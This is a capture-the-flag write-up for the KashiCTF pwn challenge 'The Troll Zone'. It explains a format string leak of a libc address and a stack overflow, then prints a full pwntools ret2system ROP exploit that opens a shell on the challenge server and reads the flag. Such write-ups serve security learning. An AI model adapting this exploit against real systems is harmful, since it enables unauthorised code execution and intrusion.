# The Troll Zone

ROP ROP all the way

<figure><img src="https://3560954919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRNLEUvGG0Wmv8owEkCep%2Fuploads%2FueI3RC0Ekpz0PJth6FA0%2FScreenshot%202025-02-24%20105314.png?alt=media&#x26;token=d8a9f226-f8b5-4c02-b087-20ed587f1353" alt=""><figcaption><p>Challenge Statement</p></figcaption></figure>

{% file src="<https://3560954919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRNLEUvGG0Wmv8owEkCep%2Fuploads%2F27492b1encNkqEQdHGCo%2Fchall.zip?alt=media&token=92b70d54-f5d0-47a0-94f5-52c1b4a11d42>" %}
chall.zip
{% endfile %}

<figure><img src="https://3560954919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRNLEUvGG0Wmv8owEkCep%2Fuploads%2FwjIK7lP1ECSAPoCWm60P%2FScreenshot%202025-02-24%20200751.png?alt=media&#x26;token=d6756dc3-a7ac-4479-b057-46cbdd88ab35" alt=""><figcaption><p>Content of chall.zip</p></figcaption></figure>

<figure><img src="https://3560954919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRNLEUvGG0Wmv8owEkCep%2Fuploads%2F69eyd3V5NPX4OWkiz3D3%2Fimage.png?alt=media&#x26;token=b203a651-20ef-4c4f-9ef7-0245f2af1af1" alt=""><figcaption><p>Checksec of vuln</p></figcaption></figure>

Below is some interaction with the binary.

<figure><img src="https://3560954919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRNLEUvGG0Wmv8owEkCep%2Fuploads%2FyfomEd1kWCMwCY9vBGLr%2Fimage.png?alt=media&#x26;token=5f22bcce-7336-4d02-a5af-f3763b995269" alt=""><figcaption><p>The look when running vuln</p></figcaption></figure>

On decompiling the binary, notice that there is a format string vulnerability in the troll function() and stack buffer overflow vulnerability in the main() function.

<figure><img src="https://3560954919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRNLEUvGG0Wmv8owEkCep%2Fuploads%2FldqNavZdVY8I6fewFNWK%2Fimage.png?alt=media&#x26;token=2af60e5e-6ff4-4890-8552-96a5def8a134" alt=""><figcaption><p>main() function</p></figcaption></figure>

<figure><img src="https://3560954919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRNLEUvGG0Wmv8owEkCep%2Fuploads%2FuFJRXbU5fcN0l0OfTkRz%2Fimage.png?alt=media&#x26;token=589c0af8-fef6-4925-a089-f020fa470770" alt=""><figcaption><p>troll() function</p></figcaption></figure>

The only thing we need now is an infoleak of libc, as, there is no interesting ROP gadget in the binary itself. It seems that we can use the format string vulnerablility to leak something? When I'm looking at the stack state when the format string vulnerable printf is called, I found an address that seems to be related to / located in the libc executable area. Fortunately, this address can be leaked by the format string vulnerability. Now, we have everything needed to invoke ret2system.

```python
from pwn import *

local = 0
libc_elf = ELF('./libc.so.6')
gdbsc = """
c
"""
if local:
    ld_path = "./ld-linux-x86-64.so.2"
    p = process([ld_path, "--library-path", ".", "./vuln"])
    gdb.attach(p, gdbscript=gdbsc)
else:
    p = remote('kashictf.iitbhucybersec.in', 41957)

payload = f"%37$lx".encode()
p.sendline(payload)
bs = p.recvline()
log.info(bs)
pattern = b"(7f.*)\n"

match = re.search(pattern, bs)[0][:-1]
match = int(match, 16)
log.warning(f"{bs} | stack : {hex(match)}")

libc_leak = match-0x1E25-0x4e0+0x1000
system_pos = libc_leak + 0x26490
binsh_pos = libc_leak + 0x170031
libc_base = system_pos - libc_elf.symbols['system']

log.info(f"{hex(system_pos)} {hex(binsh_pos)} {hex(libc_leak)}")

payload = b''
payload += b'A'*(0x20+0x8)
payload += p64(libc_base+0x0000000000026e99) # ret
payload += p64(libc_base+0x00000000000277e5) # pop rdi ; ret
payload += p64(binsh_pos)
payload += p64(system_pos)

p.sendline(payload)

p.sendline(b'cat flag.txt')

p.interactive()
```

<figure><img src="https://3560954919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRNLEUvGG0Wmv8owEkCep%2Fuploads%2Fb13mdHCFJ43XGSkp8pEY%2Fimage.png?alt=media&#x26;token=3d893ac3-2f36-4dc2-a6ec-950a4bbae553" alt=""><figcaption><p>Running the exploit</p></figcaption></figure>

FLAG: KashiCTF{did\_some\_trolling\_right\_there\_lzAXxn0b}
